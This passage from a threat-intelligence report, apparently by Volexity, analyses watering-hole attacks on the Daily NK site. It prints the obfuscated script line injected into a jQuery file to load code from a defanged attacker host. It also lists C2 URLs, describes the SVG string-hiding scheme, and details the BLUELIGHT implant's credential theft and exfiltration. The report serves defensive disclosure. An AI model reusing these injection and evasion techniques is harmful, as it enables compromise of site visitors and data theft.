not always available. +CVE-2020-1380 +The first time Volexity was able to identify malicious code being returned, the attacker was observed using CVE-2020-1380, an exploit for Internet Explorer. The +attacker added a single line of code to the following legitimate file on Daily NK: +hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery.min.js?ver=3.5.1 +The line of obfuscated code added to DailyNK was as follows: +function vgrai(){var +e=document.createElement("script");e.src=fecet("w6625I>>7x=y37t4;=5t48xrt5>4t52105x8t0||i>0}vdgie()&&vgrai(); +The effect of this is that if a user visited Daily NK using Internet Explorer, then a page would load an additional JavaScript file from the following URL: +hxxps://ui.jquery[.]services/responsive-extend.min.js +When requested, with the correct Internet Explorer User-Agent, this host would serve additional obfuscated JavaScript code. As with the initial redirect, the attacker +chose to bury their malicious code amongst legitimate code. In this particular case, the attacker used the "bPopUp" JavaScript library alongside their own code. This +decision has two effects: +1. Anyone manually analyzing the JavaScript may dismiss it as legitimate, since the majority of the included code is benign. +2. Automated solutions used to identify malicious JavaScript may misidentify the code as benign, since large sections match known legitimate library content and +use code patterns seen in benign JavaScript. +One interesting aspect of the exploit code the attacker includes is that many of the strings are obfuscated within variables designed to look like legitimate SVG content. +An example of the attacker hiding these strings is given in Figure 1: +Figure 1. Obfuscated strings within the falsified SVG variable +In order to decrypt the strings, the following steps are performed: +1. Split the data contained within the + attribute of the +path + variable via the +M43.2 + string. +2. Take each element in the split data and split once again on space characters, resulting in a list of numbers. +3. Convert each resulting number to an integer. +4. If this integer is greater than 30, subtract 17 and append it to the resulting string. If the integer is 30 or less, discard it. +A Python script to decode these SVG variables is provided on Volexity's GitHub page here. +In total, three fake SVG objects were used. Once the strings from these objects are substituted into the remaining JavaScript, identifying the exploit became easier. A +key segment of the resulting code is given in Figure 2: +Figure 2. Implementation of CVE-2020-1380 +This code corresponds to publicly available proof-of-concept (PoC) code for CVE-2020-1380 that has been well documented by TrendMicro. +Following successful exploitation, the JavaScript decrypts a final SVG variable using the same technique described previously. The resulting blob contains a hexencoded representation of a Cobalt Strike stager, which is decoded and executed. In this case, the URLs from where it expected to download additional shellcode +were as follows: +hxxps://ui.jquery[.]services/swipeout.min.js +hxxps://ui.jquery[.]services/swipeout.min.css +hxxps://ui.jquery[.]services/slider.min.css +CVE-2021-26411 +On another occasion, CVE-2021-26411 was used, which is another exploit targeting Internet Explorer and legacy versions of Microsoft Edge. The redirect code was +set up in the same way as CVE-2020-1380, the only difference being the exploit code used. The key part of the exploit code used is given in Figures 3 and 4. It was +likely a direct implementation of the PoC code posted here by Korean security company Enki. +Figure 3. Key exploit code used by the attackers +Figure 4. PoC code released on the Enki security blog +As with the CVE-2020-1380 example, the attacker made use of encoded content stored in SVG tags to store both key strings and their initial payload. The initial +command-and-control (C2) urls were the same as those observed in the CVE-2020-1380 case. +BLUELIGHT +On another occasion, the attacker used a different subdomain of jquery[.]services to host a new and novel malware family. The file was hosted at the following +location: +hxxps://storage.jquery[.]services/log/history +The "history" file was an XOR-encoded (0xCF) copy of a custom malware family that both the malware developer and Volexity refer to as BLUELIGHT. The moniker is +derived from the PDB string observed in the malware: +E:\Development\BACKDOOR\ncov\Release\bluelight.pdb +It is likely that BLUELIGHT is used as a secondary payload following successful delivery of Cobalt Strike, which was used as an initial payload in both exploitation +cases highlighted earlier in this report. +The file analyzed for this report had the following details: +Filename +history +SHA1 +9b86888a83dd0dd1c3a0929f1ea53b82 +558ce5e8c0b1b0a76b88db087f0c92f7a62716fe +SHA256 +5c430e2770b59cceba1f1587b34e686d586d2c8ba1908bb5d066a616466d2cc6 +Notes +Shellcode with embedded PE. +The BLUELIGHT malware family uses different cloud providers to facilitate C2. This specific sample leveraged the Microsoft Graph API for its C2 operations. Upon +start-up, BLUELIGHT performs an oauth2 token authentication using hard-coded parameters. Once the client is authenticated, BLUELIGHT creates a new +subdirectory in the OneDrive appfolder and populates it with several subdirectories used by the C2 protocol. The following subdirectory names were used: +logo +normal +background +theme +round +Once the folder and subdirectories are set up, reconnaissance data is gathered containing the following information, formatted as a JSON object: +Username +Computer name +OS version +Web IP +Local IP of default interface +LocalTime +Whether the implant binary is 32 or 64 bit +Process SID authority level +Process filename +List of AV products installed +Whether the infected machine has VM tools running +The data is XOR encoded into a binary blob and uploaded. All further reconnaissance and command response data is similarly encoded. This version of the implant +used the ".jpg" extension for nearly all files uploaded regardless of their content, with different subdirectories and base filenames indicating different types of command +data. The reconnaissance data, for instance, is uploaded to the "logo/title.jpg" path. +The main C2 loop starts after the initial upload of the reconnaissance data, iterating once every approximately 30 seconds. For the first five minutes, each iteration will +capture a screenshot of the display and upload it to the "normal" subdirectory with an encoded timestamp as the filename. After the first five minutes, the screenshot +uploads once every five minutes. +With every iteration, the client will also query for new commands by enumerating the children of the "background" subdirectory. The name of the file indicates the +command to perform, with the contents of the file providing further command-specific information. The following commands are supported: +Execute downloaded shellcode. +Download and launch an executable, then upload program output. +Harvest cookies and a password database for supported browsers. + Supports: Win7 IE, Win10 IE, Edge, Chrome, and Naver Whale +Recursively search a path and upload file metadata (timestamps, size, and full path). +Spawn a thread to recursively search a path and upload files as a ZIP archive. +Terminate the file upload thread. +Uninstall the implant. +Command files are deleted after being processed. Result files for most commands are uploaded to the +round + directory; however, the ZIP upload uses the +theme +subdirectory. +Conclusion +While SWCs are not as popular as they once were, they continue to be a weapon in the arsenal of many attackers. The use of recently patched exploits for Internet +Explorer and Microsoft Edge will only work against a limited audience. Attackers will still have some success, however, and have a good chance of avoiding detection +based on the following attributes of their attack: +Clever disguise of exploit code amongst legitimate code, making it harder to identify +Only allowing exploitable user-agents access to the exploit code, making it difficult to identify at scale (such as through automated scanning of websites) +Use of innovative custom malware, such as BLUELIGHT, after successful exploitation using C2 mechanisms which are unlikely to be detected by many solutions +How is this activity attributed to InkySquid (aka ScarCruft, APT37)? This will be explained further in a follow-up post, so stay tuned! +IoCs & Signatures +Related IoCs and signatures to this post are available on Volexity's GitHub page here.